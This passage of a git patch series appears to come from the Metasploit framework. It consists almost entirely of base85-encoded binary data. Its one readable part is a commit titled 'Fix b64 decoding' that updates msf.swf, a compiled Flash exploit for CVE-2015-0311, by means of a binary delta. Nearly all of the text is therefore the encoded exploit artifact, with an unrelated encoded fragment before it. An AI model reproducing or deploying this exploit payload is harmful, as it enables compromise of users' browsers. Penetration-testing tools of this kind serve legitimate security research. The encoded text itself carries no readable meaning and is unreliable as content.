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 V5qb-VXtSriZo?8}pa15$8`74)_N4#- From 3e122fe87c327172c3d17e711172650d5427fca5 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 26 May 2015 15:15:33 -0500 Subject: [PATCH 0195/1013] Fix b64 decoding --- data/exploits/CVE-2015-0311/msf.swf | Bin 20531 -> 20410 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/data/exploits/CVE-2015-0311/msf.swf b/data/exploits/CVE-2015-0311/msf.swf index 860efe1292298d18f43163f4d77d920d589fbe13..1f38921a2654c4e50f12af878923767cb3fccc64 100644 GIT binary patch delta 20288 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 